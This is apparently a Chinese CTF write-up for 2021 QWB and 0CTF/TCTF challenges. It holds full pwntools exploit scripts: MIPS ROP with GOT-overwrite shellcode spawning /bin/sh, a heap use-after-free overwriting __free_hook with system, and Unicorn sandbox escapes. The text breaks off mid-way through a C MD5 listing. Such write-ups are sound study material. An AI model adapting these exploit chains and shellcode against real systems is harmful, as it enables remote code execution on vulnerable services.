Encode逻辑同样是非常复杂,但是在实际测试的时候我找到了一个可以刚好覆盖到返回地址的栈溢出。但是返回地址的值不能直接由输入值控制,会经过一些运算处理,当然时间原因比赛过程是不可能一点一点逆完的。好在这个运算可以逆运算,只是不能任意地址跳转了,只能任意跳转到末尾为0(16进制最后一位)的地址。

溢出请求的构造结构大致如下:

GET /encode.html?info=1&info=xxxxxxxxxx \r\n

同时通过动态调试发现,在跳转前,栈上残留了上一次http请求中头部字段残余的值。于是想到可以把ROP参数利用请求头构造到栈上,然后跳转到合适的gadget上进行控制流劫持。

Exploit

Several ways

关于利用,列出当时的几个失败思路和成功的思路

one_gadget ×

注意:此one_gadget非真正的one_gadget,只是思路上类似

审计uClibc中有调用到/bin/sh字符串的所有位置,发现有一个地址末位为0的片段,正常执行下去不会报错,并且发生类似execl("/bin/sh", ["/bin/sh", "-c", "xxxx"] ,env)的调用,其中xxx取自sp+偏移处保存的指针...这不正好可以控制参数并getshell

000489e0 8f 86 80 54     lw         a2,-0x7fac(gp)=>PTR_000b0444                     = 000a0000
000489e4 8f 85 80 54     lw         __modes,-0x7fac(gp)=>PTR_000b0444                = 000a0000
000489e8 8f 84 80 54     lw         __command,-0x7fac(gp)=>PTR_000b0444              = 000a0000
000489ec 8f 99 84 58     lw         t9,-0x7ba8(gp)=>->execl                          = 00069290
000489f0 24 c6 96 28     addiu      a2=>DAT_00099628,a2,-0x69d8                      = 2Dh    -
000489f4 8f a7 00 70     lw         a3,local_res0(sp)
000489f8 24 a5 97 38     addiu      __modes=>DAT_00099738,__modes,-0x68c8            = 73h    s
000489fc 24 84 96 20     addiu      __command=>s_/bin/sh_00099620,__command,-0x69e0  = "/bin/sh"
00048a00 03 20 f8 09     jalr       t9=>execl                                        int execl(char * __path, char * ...

虽然如开头所说这个思路由于远程随机化破产了,但是我认为在实际利用中依然是一个思考方向

do_read_file ×

在访问/index.html时会调用一个读文件函数do_read_file("./index.html"),这个函数只需要用两段gadget,分别从栈上读参数,把参数加载到$a0上即可完成任意文件读。但是本题在所有已知地址中都无法构造出./flag来,所以利用失败。

leak ×

这个思路尝试调用程序中返回http请求错误信息或者返回解码结果的函数(同样只需要控制$a0),来泄露got表保存的地址。然而泄露容易,当想控制泄露完后执行流时发现找不到合适的gadget(也许是我没找到而已)。简而言之,这样的gadget大致需要满足:能够jr某个可控寄存器跳到被控函数且跳转前将$ra设为可控值。这样在函数内部将$ra保存到栈,并取出$ra值返回的时候,跳到的便是可控地址。

rewrite got & shellcode

之前查到好多例子都是以调用shellcode结尾,但是在checksec的时候发现开了NX保护就没想这方面。后来从科恩的师傅那了解到由于缺乏硬件支持,mips是没有NX保护的(这里还有点疑惑),可以劫持got表跳转到shellcode。

那么问题来了,如何找到能写完got表之后就能调用被修改表项的指针,而且不报错的位置?如果用rop分别进行修改和调用那么又会面临leak思路中遇到的问题。

他的思路是跳到了0x1170的位置,这里是一个从已打开的文件描述符(fd)读取(用的read)内容并写到输出流上的函数:

void return_page_content(int fd)

{
  size_t rn;
  undefined file_buf [1028];

  while( true ) {
    rn = read(fd,file_buf,0x400);
    if (rn != 0x400) break;
    write(1,file_buf,0x400);
  }
  write(1,file_buf,rn);
  return;
}

观察反汇编:

        00011170 8f bc 00 10     lw         gp,local_418(sp)
                             LAB_00011174                                    XREF[1]:     00011164(j)  
        00011174 8f 99 81 58     lw         t9,-0x7ea8(gp)=>->read                           = 00018940
        00011178 02 00 28 25     or         a1,s0,zero
        0001117c 02 20 20 25     or         fd,s1,zero
        00011180 03 20 f8 09     jalr       t9=>read                                         ssize_t read(int __fd, void * __
        00011184 24 06 04 00     _li        a2,0x400
        00011188 8f bc 00 10     lw         gp,local_418(sp)
        0001118c 24 03 04 00     li         v1,0x400
        00011190 24 06 04 00     li         a2,0x400
        00011194 02 00 28 25     or         a1,s0,zero
        00011198 24 04 00 01     li         fd,0x1
        0001119c 10 43 ff f3     beq        rn,v1,LAB_0001116c
        000111a0 8f 99 81 6c     _lw        t9,-0x7e94(gp)=>->write                          = 00018920
        000111a4 03 20 f8 09     jalr       t9=>write                                        ssize_t write(int __fd, void * _

可以发现,其中几个关键参数都可以控制:

  1. gp寄存器从栈上取得,可以控制,这关系到如何取出read函数的地址。由于之前已经leak了程序地址,所以这一步可以通过计算得到正确的gp偏移

    • gp_val = 0x80007870 + (elf_base - 0x7ffe6000)
  2. read的第一个参数由$s0控制,第二个参数由$s1控制,大部分gadget可控(此处依然最好选取0结尾处的gadget)

    • 控制read写write的got表为shellcode地址,而shellcode可以直接从write_got+4的位置开始覆盖,也就是:[wrtie_got] -> wrtie_got+4

gadget选用如下:

    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra

Write shellcode

最后详解一下mips下shellcode编写技巧,因为虽然大致思路与x86类似,但是用些mips way可以让shellcode更精炼

下面是我用的shellcode:

    xor $a0, $a0
    xor $a1, $a1
    xor $a2, $a2
    xor $v0, $v0
    bal exec
    nop
    .string "/bin/sh"
exec:
    move $a0, $ra
    li $v0, 0xFAB
    syscall
    nop

可以看到参数传递不是通过

常数加载到寄存器

寄存器存栈

,然后

传栈指针

的笨方式,而是先在代码中嵌入了一段string,在string前bal exec,这样string所在地址就会作为返回地址保存在$ra寄存器中,下面只需要把$ra给到$a0就完成了参数控制。注意,由于mips架构中指令预取特性的存在,bal后面需要用一条nop指令来填充(这部分原因在大二计组课程会提到,不赘述)

另一个要注意的点是调用号为0xFAB,也就是4000+11,MIPS架构的Linux系统有如下宏:

linux-xxx/arch/mips/include/uapi/syscall.h可以看到
#ifndef __NR_syscall /* Only defined if _MIPS_SIM == _MIPS_SIM_ABI32 */
#define __NR_syscall 4000
#endif

而在linux-xxx/arch/mips/kernel/syscalls/syscall_o32.tbl可以看到execve调用号为11

最后的系统调用号是__NR_syscall+11构成,也就是0xFAB

Full exp

from pwn import *
import sys
import qrcode

if len(sys.argv) == 2 and sys.argv[1] == "debug":
    p = process(["qemu-mips", "-g", "1234", "--singlestep", "-L", "./", "./qwbhttpd"])
elif len(sys.argv) == 2 and sys.argv[1] == "remote":
    p = remote("172.20.5.22", 11258)
    #p = remote("127.0.0.1", 2333)
else:
    p = process(["qemu-mips", "-L", "./", "./qwbhttpd"])

context.log_level = "debug"
context.arch = "mips"
context.endian = "big"

def get_qr_matrix(data:bytes):
    qr = qrcode.QRCode(
        version=1,
        error_correction=qrcode.constants.ERROR_CORRECT_L,
        box_size=1,
        border=0,
    )
    qr.add_data(data)
    qr.make(fit=True)
    qr.print_ascii()
    #print(dir(qr))
    raw_matrix = qr.get_matrix()

    return raw_matrix

def matrix_serialize(qr_matrix):
    res = b""
    for i in qr_matrix:
        for j in i:
            num = b"1" if j==True else b"0"
            res += num + b" "

    return res

def burp_pass(pad):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(pad.ljust(0x20, b"\x01"))
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

def login(passwd):
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"\r\n"
    req += data
    print("Data length:", len(data))
    p.send(req)

# hex(0 & 0xffffff | (-(ord("A")-0x51) & 0xff) << 0x18 )

def encode(data=b""):
    req = b"GET /encode.html?info="+ data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req)

def vuln(data=b""):
    req = b"GET /encode.html?info=1&info=" + data + b" HTTP/1.1\r\n"
    req += b"\r\n"

    p.send(req) 

def calc_addr(raw_addr):
    def get_idx_num(num:int, idx:int):
        return (num >> ((7-idx)*4)) & 0xf
    num = 0
    num += ((raw_addr&0x0ffffff0)<<4) + get_idx_num(raw_addr, 0)
    print(hex(num))
    return num

def exp():
    # burp_password
    passwd = b""
    for i in range(8):
        burp_pass(passwd)
        p.recvuntil(b"Wrong password: ")
        p.recv(32)
        leak_byte = p.recv(1)
        passwd += bytes([0x1+u8(leak_byte)])
        print("Curr passwd:", passwd.hex(" "))

    # login
    login(passwd)
    # calc base
    leak_addr = u32(passwd[4:])
    elf_base = leak_addr - 0x19d60
    libc_base = elf_base - 0x8d3000
    print("leak_addr:", hex(leak_addr))
    print("libc_base:", hex(libc_base))
    print("elf_base:", hex(elf_base))

    # local
    # base: 0x7ffe6000
    # libc: 0x7f713000
    '''
    .text:000083F0                 sll     $v0, 1
    .text:000083F4                 lw      $v1, 0x24($sp)
    .text:000083F8                 lw      $ra, 0x4C($sp)
    .text:000083FC                 lw      $fp, 0x48($sp)
    .text:00008400                 lw      $s7, 0x44($sp)
    .text:00008404                 lw      $s6, 0x40($sp)
    .text:00008408                 lw      $s5, 0x3C($sp)
    .text:0000840C                 lw      $s4, 0x38($sp)
    .text:00008410                 addu    $v0, $v1, $v0
    .text:00008414                 lw      $s3, 0x34($sp)
    .text:00008418                 lw      $s2, 0x30($sp)
    .text:0000841C                 lw      $s1, 0x2C($sp)
    .text:00008420                 lw      $s0, 0x28($sp)
    .text:00008424                 jr      $ra
    '''
    gadget1 = elf_base+0x83F0

    write_got = elf_base+0x199DC
    target = elf_base+0x1170 # read write
    gp_val = 0x80007870 + (elf_base - 0x7ffe6000)

    # build ROP
    req = b"POST /login.html HTTP/1.1\r\n"
    matrix = get_qr_matrix(passwd)
    wwidth = len(matrix)
    data = matrix_serialize(matrix)
    req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n"
    req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n"
    req += b"AAAAAAAA: AAAAAA"
    f = {
        0x28-0x28: p32(write_got) + p32(0),# s0:write_got s1:0
        0x4c-0x28: p32(target), # ra -> target
        0x28+0x10:(gp_val), # gp
    }
    rop = fit(f)
    req += rop + b"\r\n"
    req += b"\r\n"
    req += data
    p.send(req)

    print("gadget1:", hex(gadget1))
    vuln(p32(calc_addr(gadget1))*0x30)
    shellcode = asm('''
            xor $a0, $a0
            xor $a1, $a1
            xor $a2, $a2
            xor $v0, $v0
            bal exec
            nop
            .string "/bin/sh"
        exec:
            move $a0, $ra
            li $v0, 0xFAB
            syscall
            nop
    ''')
    p.send(p32(write_got+4) + shellcode)

    p.interactive()


if __name__ == "__main__":
    exp()

Summary

MIPS可能在Iot安全研究中经常见到,很多东西不如x86那么直观。打好基础,通过迁移运用的方式发现利用思路很重要。对了,对uClibc利用方式感兴趣的可以看看我之前发的有关uClibc下malloc机制利用思路的文章。

TCTF题目质量一如既往很高,而且uc(unicorn)系列挺好玩hhh 高校榜 ![TCTF_quals_2021.png][1]

Pwn

listbook

比较有意思而且不算难的堆利用

题目实现了简易的哈希表,同哈希idx的用单链表连接。

哈希值计算的时候abs8()使用不当,传值为0x80的时候返回idx为负数,下标溢出到vaild_list,造成idx0的enable位非0,造成严重的UAF

剩下就是慢慢地堆风水...

EXP:

from pwn import *

#p = process(["./listbook", "./libc-2.31.so"])
p = remote("111.186.58.249", 20001)
elf = ELF("./listbook")
libc = ELF("./libc-2.31.so")

context.log_level = "debug"

#base: 0x0000555555554000
#booklist: 0x0000555555554000+0x4840
#valid_list: 0x0000555555554000+0x4440

def add(name, content):
    p.sendlineafter(b">>", b"1")
    p.sendlineafter(b"name>", name)
    p.sendafter(b"content>", content)

def delete(idx:int):
    p.sendlineafter(b">>", b"2")   
    p.sendlineafter(b"index>", str(idx).encode())    

def show(idx:int):
    p.sendlineafter(b">>", b"3")
    p.sendlineafter(b"index>", str(idx).encode())   

def exp():
    # leak libc
    for i in range(7):
        add(b"\x01", b"AAAAAAAA\n") # fill tcache
    add(b"\x00", b"BBBBBBBB\n") # vuln: leak
    add(b"\x02", b"BBBBBBBB\n") # vuln: help
    for i in range(5):
        add(b"\x09\x01", b"KEEP\n") # keep
    for i in range(8):
        add(b"\x0b", b"KEEP\n") # keep
    add(b"\x0c", b"KEEP\n") # keep
    for i in range(2):
        add(b"\x0d", b"KEEP\n") # keep
    for i in range(7):
        add(b"\x0e", b"KEEP\n") # keep
    add(b"\x0f", b"CCCCCCCC\n") # split
    delete(1) # fill tcache
    delete(2) # break help chunk
    delete(0) # leak this Books' content

    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    show(0)
    p.recvuntil(b"=> ")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 608 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("system:", hex(system))

    # attack __free_hook
    ## fix small bin
    for i in range(7):
        add(b"\x03", b"FIX SMALL; CLEAN UNSORTED\n")
    delete(0)
    for i in range(3):
        add(b"\x03", b"CLEAN UNSORTED\n")
    delete(0xb)
    for i in range(7):
        add(b"\x03", b"CLEAN UNSORTED\n")
    add(b"\x04", b"UNSORTED IDX:4\n")
    add(b"\x00", b"UNSORTED IDX:0\n")
    add(b"\x05", b"UNSORTED IDX:5\n")
    add(b"\x06", b"UNSORTED SPLIT\n")
    delete(0xe)
    delete(4)
    delete(0)
    delete(5)
    for i in range(7):
        add(b"\x03", b"CLEAN TCACHE\n")
    add(b"\x06", b"OVERLAP\n")
    add(b"\x80", b"AAAAAAAA\n") # enable idx:0
    delete(0xa)
    delete(0)
    delete(6)
    # build fake chain
    add(b"\x07", b"X"*0x88+p64(210)+p64(free_hook)+b"\n")
    add(b"\x08", b"/bin/sh\n")
    add(b"\x09", p64(system)+b"\n")
    print("free_hook:", hex(free_hook))
    delete(8)

    p.interactive()

if __name__ == "__main__":
    exp()

uc_masteeer

capstone反汇编了一下:

disasm_main.txt

0x1000: sub     rsp, 0x20
0x1004: mov     word ptr [rsp + 0xe], 0
0x100b: lea     rbx, [rsp + 0xe]
0x1010: mov     qword ptr [rsp + 0x10], 0
0x1019: mov     qword ptr [rsp + 0x18], 0
0x1022: mov     ecx, 0x44
0x1027: lea     rdx, [rip + 0x18b]
0x102e: mov     esi, 1
0x1033: xor     eax, eax
0x1035: mov     edi, 1
0x103a: call    0x11fd
0x103f: mov     ecx, 2
0x1044: mov     rdx, rbx
0x1047: xor     esi, esi
0x1049: xor     edi, edi
0x104b: xor     eax, eax
0x104d: call    0x11fd
0x1052: mov     al, byte ptr [rsp + 0xe]
0x1056: cmp     al, 0x32
0x1058: je      0x1093
0x105a: cmp     al, 0x33
0x105c: je      0x10c0
0x105e: cmp     al, 0x31
0x1060: jne     0x116a
0x1066: mov     ecx, 0x12
0x106b: lea     rdx, [rip + 0x135]
0x1072: mov     esi, 1
0x1077: xor     eax, eax
0x1079: mov     edi, 1
0x107e: call    0x11fd
0x1083: add     rsp, 0x20
0x1087: movabs  rdi, 0xbabecafe000
0x1091: jmp     qword ptr [rdi]
0x1093: mov     ecx, 0x12
0x1098: lea     rdx, [rip + 0xf6]
0x109f: mov     esi, 1
0x10a4: xor     eax, eax
0x10a6: mov     edi, 1
0x10ab: call    0x11fd
0x10b0: add     rsp, 0x20
0x10b4: movabs  rdi, 0xbabecafe000
0x10be: jmp     qword ptr [rdi]
0x10c0: mov     ecx, 7
0x10c5: lea     rdx, [rip + 0xc2]
0x10cc: mov     esi, 1
0x10d1: xor     eax, eax
0x10d3: mov     edi, 1
0x10d8: call    0x11fd
0x10dd: xor     esi, esi
0x10df: xor     edi, edi
0x10e1: lea     rdx, [rsp + 0x10]
0x10e6: mov     ecx, 8
0x10eb: xor     eax, eax
0x10ed: call    0x11fd
0x10f2: mov     ecx, 7
0x10f7: mov     esi, 1
0x10fc: xor     eax, eax
0x10fe: lea     rdx, [rip + 0x82]
0x1105: mov     edi, 1
0x110a: call    0x11fd
0x110f: xor     esi, esi
0x1111: xor     edi, edi
0x1113: xor     eax, eax
0x1115: lea     rdx, [rsp + 0x18]
0x111a: mov     ecx, 8
0x111f: call    0x11fd
0x1124: cmp     qword ptr [rsp + 0x18], 0xff
0x112d: ja      0x1022
0x1133: mov     ecx, 7
0x1138: lea     rdx, [rip + 0x41]
0x113f: mov     esi, 1
0x1144: xor     eax, eax
0x1146: mov     edi, 1
0x114b: call    0x11fd
0x1150: mov     rcx, qword ptr [rsp + 0x18]
0x1155: xor     esi, esi
0x1157: xor     edi, edi
0x1159: mov     rdx, qword ptr [rsp + 0x10]
0x115e: xor     eax, eax
0x1160: call    0x11fd
0x1165: jmp     0x1022
0x116a: mov     esi, 0xff
0x116f: mov     edi, 0x3c
0x1174: xor     eax, eax
0x1176: call    0x11fd
0x117b: jmp     0x1022

disasm_tail.txt

0x1000: xor     eax, eax
0x1002: mov     ecx, 0x32
0x1007: lea     rdx, [rip + 0x55]
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 0x18
0x101c: mov     word ptr [rsp + 0xe], ax
0x1021: xor     eax, eax
0x1023: call    0x1095
0x1028: xor     esi, esi
0x102a: xor     edi, edi
0x102c: xor     eax, eax
0x102e: lea     rdx, [rsp + 0xe]
0x1033: mov     ecx, 2
0x1038: call    0x1095
0x103d: cmp     byte ptr [rsp + 0xe], 0x79
0x1042: jne     0x1055
0x1044: add     rsp, 0x18
0x1048: movabs  rdi, 0xbabecafe000
0x1052: jmp     qword ptr [rdi + 0x10]
0x1055: xor     esi, esi
0x1057: mov     edi, 0x3c
0x105c: xor     eax, eax
0x105e: call    0x1095
0x1063: outsd   dx, dword ptr [rsi]
0x1065: outsb   dx, byte ptr [rsi]
0x1066: jb      0x10ca
0x1069: je      0x10e0
0x106b: insb    byte ptr [rdi], dx

disasm_admin.txt

0x1000: mov     ecx, 0x10
0x1005: lea     rdx, [rip + 0x37]
0x100c: xor     eax, eax
0x100e: mov     esi, 1
0x1013: mov     edi, 1
0x1018: sub     rsp, 8
0x101c: call    0x1080
0x1021: lea     rax, [rip + 0x2b]
0x1028: movabs  qword ptr [0xbabecafe233], rax
0x1032: add     rsp, 8
0x1036: movabs  rdi, 0xbabecafe000
0x1040: jmp     qword ptr [rdi + 8]
0x1043: insd    dword ptr [rdi], dx

可以发现跳转表没做保护

  1. 修改跳转表中跳到ADMIN的表项,拿到admin权限后跳回菜单

  2. 再恢复表项,同时把CODE部分残留的ADMIN shellcode中,命令参数给改成k33nlab/readflag\x00

  3. user_test拿flag

from pwn import *

#p = process(["python3", "./uc_masteeer.py"])
p = remote("111.186.59.29", 10087)
context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    p.send(b"\x90")

    patch_data(STACK, 8, p64(CODE))
    admin_test()
    patch_data(STACK, 8, p64(CODE+0x1000))

    cmd = b"k33nlab"
    cmd += b"/readflag\x00"
    patch_data(CODE+0x1000+0x53, len(cmd), cmd)

    user_test()

    p.interactive()

if __name__ == "__main__":
    exp()

uc_goood

参照r3kapig的思路复现了一下,过程看原wp就行:https://r3kapig.com/writeup/20210706-0ctf-quals/#uc_goood 然而官方真正的预期解是一个逻辑bug(牛逼):https://gist.github.com/0xKira/e865709fc47c328ffd6fac3da9d36f44 预期解的大致思路是:通过lock使得一个basic block跨越三个页,然后中间那个页的写不会更新到tb cache里面,于是下次取tb cache执行的时候,中间那个页就还是执行原先的代码。

  1. 非预期exp:

test.py

from pwn import *
from capstone import *

CODE = 0xdeadbeef000
STACK = 0xbabecafe000
admin_offset = CODE + 0x6b - 5

md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True

ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xf8\xee\xdb\xea\x0d\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
print("length of ADMIN => ", len(ADMIN))

# 0xdeadbeef067:    adc    al, byte ptr [rax]
# 0xdeadbeef069:    add    byte ptr [rax], al
# 0x2d pushfq
# !!!!!!!!!!!!!!!!!!!!!!!!!!
offset = 0x9a
# !!!!!!!!!!!!!!!!!!!!!!!!!!
rax = 0xdeadbef0000 + offset

al = ((rax&0xff) + ADMIN[offset])&0xff
print(hex(al), hex(ADMIN[offset]))

rax2 = (0xdeadbef0000 & 0xfffffffff00)+al
print(hex(rax2))

if rax2 > (0xdeadbef0000+0x32):
    if rax2 not in range(0xdeadbef0000+0x80, 0xdeadbef0000+0x9b):
        print("-----nonono-----")
        exit()

tmp = bytearray(ADMIN)
tmp[rax2-0xdeadbef0000] = (tmp[rax2-0xdeadbef0000]+al)&0xff
ADMIN = bytes(tmp)
#print(al, ADMIN[offset])


print("---------- ADMIN CODE ----------")
for i in md.disasm(ADMIN[:0x45], CODE+0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print()
for i in md.disasm(ADMIN[0x80:0x9a], CODE+0x1000+0x80):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

print(hex(rax2))

exp.py

from pwn import *


#p = remote("111.186.59.29", 10088)
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

# uc.mem_write(CODE + 0x800, p64(CODE + 0xff0) + p64(CODE + 0x2000) + p64(CODE)) 

def admin_test():
    p.recvuntil(b"?: ")
    p.sendline(b"1")

def user_test():
    p.recvuntil(b"?: ")
    p.sendline(b"2")

def patch_data(target, size, data):
    p.recvuntil(b"?: ")
    p.sendline(b"3")
    p.sendafter(b"addr: ", p64(target))
    p.sendafter(b"size: ", p64(size))
    p.sendafter(b"data: ", data)

def exp():
    global p
    #p = process(["python3", "./uc_goood.py"])
    p = remote("111.186.59.29", 10088)
    shellcode = '''
    mov rax, 0x68732f6e6962;
    push rax;
    mov rax, 0x2f62616c6e33336b;
    push rax;
    mov r8, rsp;
    mov r9, 0xbabecafe1e6;

    sub rsp, 0x135;

    mov rax, 0xdeadbef009a;
    mov rbx, 0xdeadbeef067;
    jmp rbx;
    '''
    p.send(asm(shellcode).ljust(0x1000 - 0xd, b"\xf4"))
    user_test()

    p.interactive()



# flag{Hope_you_enjoyed_the_series}
if __name__ == "__main__":
    exp()
  1. 预期解exp:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import remote, p64

p = remote('111.186.59.29', 10088)

'''
push 0
mov rax, 0x67616c6664616572
push rax
mov rax, 0x2f62616c6e33336b
push rax
mov rsi, 0xbabecafe233
mov [rsi], rsp
'''
# These shellcode will be executed under admin context
payload = b'\x6a\x00\x48\xb8\x72\x65\x61\x64\x66\x6c\x61\x67\x50\x48\xb8\x6b\x33\x33\x6e\x6c\x61\x62\x2f\x50\x48\xbe\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x89\x26'
payload = payload.ljust(0x1000 - 0xd, b'\xf0')

p.send(payload)
p.sendlineafter('?: ', '3')
p.sendafter('addr: ', p64(0xdeadbef1000 - 0xd))
p.sendafter('size: ', p64(0xd))
p.sendafter('data: ', b'\xf0' * 0xd)
p.sendlineafter('?: ', '2')
p.sendlineafter('(y/[n])', 'y')
p.sendlineafter('?: ', '1')
p.interactive()

Misc

uc_baaaby

这个方法打本地一次过但是打远程有几率性,不清楚为什么

题目限制主要是三点:

  1. 需要用x86汇编完成指定地址md5计算

  2. 不能有超过一个基本块(除了入口)

  3. 取指次数小于0x233次

第一个问题可以从网上找个fastmd5来魔改,编译成位置无关代码后提取出来主要部分作为shellcode 关于上面第二个问题通过展开循环和内联函数来解决 第三个问题通过构造12字节长指令add qword ptr es:[rax+rcx+0x100], 0x1000,并在前缀pad一定数量的\xF0(lock)来爆破直到最终步数小于等于0x233 fast_x8664_md5.c

/* 
 * MD5 hash in C and x86 assembly
 * 
 * Copyright (c) 2021 Project Nayuki. (MIT License)
 * https://www.nayuki.io/page/fast-md5-hash-implementation-in-x86-assembly
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * - The above copyright notice and this permission notice shall be included in
 *   all copies or substantial portions of the Software.
 * - The Software is provided "as is", without warranty of any kind, express or
 *   implied, including but not limited to the warranties of merchantability,
 *   fitness for a particular purpose and noninfringement. In no event shall the
 *   authors or copyright holders be liable for any claim, damages or other
 *   liability, whether in an action of contract, tort or otherwise, arising from,
 *   out of or in connection with the Software or the use or other dealings in the
 *   Software.
 */

#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include<unistd.h>
#include<sys/mman.h>

#define CODE 0xdeadbeef000LL
#define DATA 0xbabecafe000LL

/* Function prototypes */

#define BLOCK_LEN 64  // In bytes
#define STATE_LEN 4  // In words

static bool self_check(void);
void md5_hash(const uint8_t message[], size_t len, uint32_t hash[static STATE_LEN]);

// Link this program with an external C or x86 compression function
// extern inline void md5_compress(uint32_t state[static STATE_LEN], const uint8_t block[static BLOCK_LEN]);
__inline__ __attribute__((always_inline)) void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);
//void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]);

/* Main program */

int main(void) {
    //char *code = mmap(CODE, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //char *data = mmap(DATA, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    //((uint8_t *)(0xdeadbeef000LL))[0] = 1;

    uint8_t *message = (uint8_t *)DATA;
    uint32_t *hash = (uint8_t *)DATA+0x800LL;

    //memset(message, 0, 0x800);
    //memset(hash, 0, 0x10);

    //for(int i = 0 ; i < 50;i++){
    //    message[i] = 'A';
    //}

    //int len = 50;

    hash[0] = UINT32_C(0x67452301);
    hash[1] = UINT32_C(0xEFCDAB89);
    hash[2] = UINT32_C(0x98BADCFE);
    hash[3] = UINT32_C(0x10325476);

    #define LENGTH_SIZE 8  // In bytes

    /*
    size_t off;
    for (off = 0; len - off >= BLOCK_LEN; off += BLOCK_LEN)
        md5_compress(hash, &message[off]);
    */

    //uint8_t block[BLOCK_LEN] = {0};
    //size_t rem = len - off;
    //size_t rem = len;

    //memcpy(block, &message[0], 50);
    message[50] = 0x80;
    //rem++;

    message[56] = (uint8_t)(0x90U);
    /*
    for (int i = 1; i < LENGTH_SIZE; i++, len >>= 8)
        block[BLOCK_LEN - LENGTH_SIZE + i] = (uint8_t)(len & 0xFFU);
    */
    message[57] = (uint8_t)(1U);
    /*
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 2] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 3] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 4] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 5] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 6] = (uint8_t)(len & 0xFFU);
    len >>= 8;
    block[BLOCK_LEN - LENGTH_SIZE + 7] = (uint8_t)(len & 0xFFU);
    */


    md5_compress(hash, message);

    //for(int i = 0 ; i < 16;i++){
    //    printf("%x " , ((uint8_t *)hash)[i]);
    //}

    return 0;
}

void md5_compress(uint32_t state[static 4], const uint8_t block[static 64]) {
    #define LOADSCHEDULE(i)  \
        schedule[i] = (uint32_t)block[i * 4 + 0] <<  0  \
                    | (uint32_t)block[i * 4 + 1] <<  8  \
